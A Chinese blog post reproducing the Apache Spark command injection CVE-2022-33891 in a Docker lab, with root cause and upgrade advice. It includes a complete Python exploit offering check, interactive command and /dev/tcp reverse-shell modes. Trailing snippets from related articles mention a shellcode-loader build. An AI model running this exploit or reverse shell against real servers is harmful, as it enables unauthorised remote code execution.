CVE-2022-33891漏洞复现

一颗小胡椒2022-07-25 15:46:51

简介

Spark 是用于大规模数据处理的统一分析引擎。它提供了 Scala、Java、Python 和 R 中的高级 API,以及支持用于数据分析的通用计算图的优化引擎。它还支持一组丰富的高级工具,包括用于 SQL 和 DataFrames 的 Spark SQL、用于 Pandas 工作负载的 Spark 上的 Pandas API、用于机器学习的 MLlib、用于图形处理的 GraphX 和用于流处理的结构化流。

影响版本

Apache spark version<3.0.3

3.1.1<apache spark="" version<3.1.2<="" span="">

Apache Spark version>= 3.3.0

环境搭建

目前官网上已经找不到老版本的docker镜像了

搜索老版本的也是为空

这里环境搭建的时使用的是github上私人仓库的镜像,下载地址

https://github.com/big-data-europe/docker-spark

需要修改配置文件,下载存在漏洞的版本,修改dockerfile,V3.1.1

修改版本

docker-compose up -d

访问

http:10.10.10.32:8080

这里测试是不存在漏洞的,需要修改配置文件

echo "spark.acls.enable true" >> conf/spark-defaults.conf

POC如下:

#!/usr/bin/env python3import requestsimport argparseimport base64import datetime
parser = argparse.ArgumentParser(description='CVE-2022-33891 Python POC Exploit Script')parser.add_argument('-u', '--url', help='URL to exploit.', required=True)parser.add_argument('-p', '--port', help='Exploit target\'s port.', required=True)parser.add_argument('--revshell', default=False, action="store_true", help="Reverse Shell option.")parser.add_argument('-lh', '--listeninghost', help='Your listening host IP address.')parser.add_argument('-lp', '--listeningport', help='Your listening host port.')parser.add_argument('--check', default=False, action="store_true", help="Checks if the target is exploitable with a sleep test")
args = parser.parse_args()
full_url = f"{args.url}:{args.port}"
def check_for_vuln(url):    print("[*] Attempting to connect to site...")    r = requests.get(f"{full_url}/?doAs='testing'", allow_redirects=False)    if r.status_code != 403:        print("[-] Does not look like an Apache Spark server.")        quit(1)    elif "org.apache.spark.ui" not in r.content.decode("utf-8"):        print("[-] Does not look like an Apache Spark server.")        quit(1)    else:        print("[*] Performing sleep test of 10 seconds...")        t1 = datetime.datetime.now()        run_cmd("sleep 10")        t2 = datetime.datetime.now()        delta = t2-t1        if delta.seconds < 10:            print("[-] Sleep was less than 10. This target is probably not vulnerable")        else:            print("[+] Sleep was 10 seconds! This target is probably vulnerable!")        exit(0)
def cmd_prompt():    # Provide user with cmd prompt on loop to run commands    cmd = input("> ")    return cmd
def base64_encode(cmd):    message_bytes = cmd.encode('ascii')    base64_bytes = base64.b64encode(message_bytes)    base64_cmd = base64_bytes.decode('ascii')    return base64_cmd
def run_cmd(cmd):    try:        # Execute given command from cmd prompt        #print("[*] Command is: " + cmd)        base64_cmd = base64_encode(cmd)        #print("[*] Base64 command is: " + base64_cmd)        exploit = f"/?doAs=`echo {base64_cmd} | base64 -d | bash`"        exploit_req = f"{full_url}{exploit}"        print("[*] Full exploit request is: " + exploit_req)        requests.get(exploit_req, allow_redirects=False)    except Exception as e:        print(str(e))
def revshell(lhost, lport):    print(f"[*] Reverse shell mode.\n[*] Set up your listener by entering the following:\n nc -nvlp {lport}")    input("[!] When your listener is set up, press enter!")    rev_shell_cmd = f"sh -i >& /dev/tcp/{lhost}/{lport} 0>&1"    run_cmd(rev_shell_cmd)
def main():
    if args.check and args.revshell:        print("[!] Please choose either revshell or check!")        exit(1)
    elif args.check:        check_for_vuln(full_url)
    # Revshell    elif args.revshell:        if not (args.listeninghost and args.listeningport):            print("[x] You need a listeninghost and listening port!")            exit(1)        else:            lhost = args.listeninghost            lport = args.listeningport            revshell(lhost, lport)    else:        # "Interactive" mode        print("[*] \"Interactive\" mode!\n[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.")        while True:            command_to_run = cmd_prompt()            run_cmd(command_to_run)
if __name__ == "__main__":    main()

如果失败的话重建项目,使用下面这个文件起docker可能是镜像的问题,不同的仓库内的Apache spark配置不同,这个版本是V3.0.0的

version: '2'
services:
  spark:    image: docker.io/bitnami/spark:3.0.0    environment:      - SPARK_MODE=master      - SPARK_RPC_AUTHENTICATION_ENABLED=no      - SPARK_RPC_ENCRYPTION_ENABLED=no      - SPARK_LOCAL_STORAGE_ENCRYPTION_ENABLED=no      - SPARK_SSL_ENABLED=no    ports:      - '8080:8080'

访问

http://192.168.0.112:8080/

修改配置文件

docker exec -it 8a /bin/bash

I have no name!@8a7873e77c46:/opt/bitnami/spark$ echo "spark.acls.enable true" >> conf/spark-defaults.conf

I have no name!@8a7873e77c46:/opt/bitnami/spark$ cat conf/spark-defaults.conf

已追加配置,重启docker

root@ubuntu:/home/ubuntu/Desktop/spark# docker-compose up -d

使用poc去生成payload,或者手动也可,但是执行的命令要使用echo写入执行且做base64编码后解码生效。

但是看不到回显,直接反弹shell

python 2.py -u http://192.168.0.112 -p 8080 --revshell -lh 192.168.0.121 -lp 4444

查看连接状态

漏洞成因

漏洞成因是由于Apache Spark UI 提供了通过配置选项 spark.acls.enable 启用 ACL 的可能性。使用身份验证过滤器,这将检查用户是否具有查看或修改应用程序的访问权限。如果启用了 ACL,则 HttpSecurityFilter 中的代码路径可以允许某人通过提供任意用户名来执行模拟。然后,恶意用户可能能够访问权限检查功能,该功能最终将根据他们的输入构建一个 Unix shell 命令并执行,导致任意 shell 命令执行。

参考:https://spark.apache.org/security.html

修复建议

1.建议升级到安全版本,参考官网链接:

https://spark.apache.org/downloads.html

2.安全设备路径添加黑名单或者增加WAF规则(临时方案)。

Throwable 的扩展类,同时其中必须有危险的 set 方法。

base64spark
本作品采用《CC 协议》,转载必须注明作者和本文链接
CVE-2022-33891漏洞复现
2022-07-25 15:46:51
简介Spark 是用于大规模数据处理的统一分析引擎。它提供了 Scala、Java、Python 和 R 中的高级 API,以及支持用于数据分析的通用计算图的优化引擎。它还支持一组丰富的高级工具,包括用于 SQL 和 DataFrames 的 Spark SQL、用于 Pandas 工作负载的 Spark 上的 Pandas API、用于机器学习的 MLlib、
00 摘要 2020年2月,Cybereason报告称发现了Spark和Pierogi后门,其很可能被用于针对巴勒斯坦官员的定向攻击活动。研究人员认为攻击是由Molerats组织(又名Gaza Cybergang)发动的,这是一个讲阿拉伯语,有政治动机...
kylin CVE-2021-45456 & CVE-2022-44621
└─50-After-systemd-logind\x2eservice.conf, 50-After-systemd-user-sessions\x2eservice.conf, 50-Description.conf, 50-SendSIGHUP.conf, 50-Slice.conf, 50-TasksMax.con. Active: active since 一 2021-07-12 10:05:01 CST; 4h 52min ago. 真不巧,看起来不是注册到 systemd 的,那么是谁拉起来的呢?啊,是 crontab非常不巧,我当时一心想找是哪个 service,没注意到 crontab 的存在,还以为上次的那个挖矿木马换了个 service 的名字,还去这个路径找了好久,找了半天也没有看到恶意的 service 啊突然想到我还没看 crontab于是打开crontab发现了一条指令他静静的呆在那里像是在嘲笑我太菜了,这个套路都没注意到 :P于是,注释掉这行,然后对着刚刚 systemd 输出的三个进程一顿 kill ├─2075 tOAK5Ejl
└─50-After-systemd-logind\x2eservice.conf, 50-After-systemd-user-sessions\x2eservice.conf, 50-Description.conf, 50-SendSIGHUP.conf, 50-Slice.conf, 50-TasksMax.con. Active: active since 一 2021-07-12 10:05:01 CST; 4h 52min ago. 真不巧,看起来不是注册到 systemd 的,那么是谁拉起来的呢?啊,是 crontab非常不巧,我当时一心想找是哪个 service,没注意到 crontab 的存在,还以为上次的那个挖矿木马换了个 service 的名字,还去这个路径找了好久,找了半天也没有看到恶意的 service 啊突然想到我还没看 crontab于是打开crontab发现了一条指令他静静的呆在那里像是在嘲笑我太菜了,这个套路都没注意到 :P于是,注释掉这行,然后对着刚刚 systemd 输出的三个进程一顿 kill├─2075 tOAK5Ejl
实战 | 挖矿木马排查
2023-02-22 10:05:36
└─50-After-systemd-logind\x2eservice.conf, 50-After-systemd-user-sessions\x2eservice.conf, 50-Description.conf, 50-SendSIGHUP.conf, 50-Slice.conf, 50-TasksMax.con. Active: active since 一 2021-07-12 10:05:01 CST; 4h 52min ago. 真不巧,看起来不是注册到 systemd 的,那么是谁拉起来的呢?啊,是 crontab非常不巧,我当时一心想找是哪个 service,没注意到 crontab 的存在,还以为上次的那个挖矿木马换了个 service 的名字,还去这个路径找了好久,找了半天也没有看到恶意的 service 啊突然想到我还没看 crontab于是打开crontab发现了一条指令他静静的呆在那里像是在嘲笑我太菜了,这个套路都没注意到 :P于是,注释掉这行,然后对着刚刚 systemd 输出的三个进程一顿 kill├─2075 tOAK5Ejl
Web日志安全分析浅谈
2022-01-12 06:36:15
attack=test';select//1//from/**/1,此时请求状态码为200,但是此注入攻击并没有得到执行,实际情况中,还会有更多情况导致产生此类的噪声数据。抛开这类情况不谈,我们来说说在一般应急响应场景中我们分析日志的常规办法。假设我们面对的是一个相对初级的黑客,一般我们直接到服务器检查是否存有明显的webshell即可。
注意:-e参数必须使用base64编码结尾3、将加密之后的shellcode填充到/loader/loader.go中的shellcode变量4、将-e参数的值填充到/loader/loader.go中的encodestr变量中5、编译/loader/loader.go文件go build -trimpath -ldflags="-w -s -H=windowsgui" ./loader/loader.go
ImHex是一款功能强大的十六进制编辑器,该工具专为逆向工程分析师、编程开发人员以及那些想好好保护自己眼睛的安全人员所设计。哪怕你每天工作到凌晨三点(虽然不建议),也不会伤害你的眼睛!
一颗小胡椒
暂无描述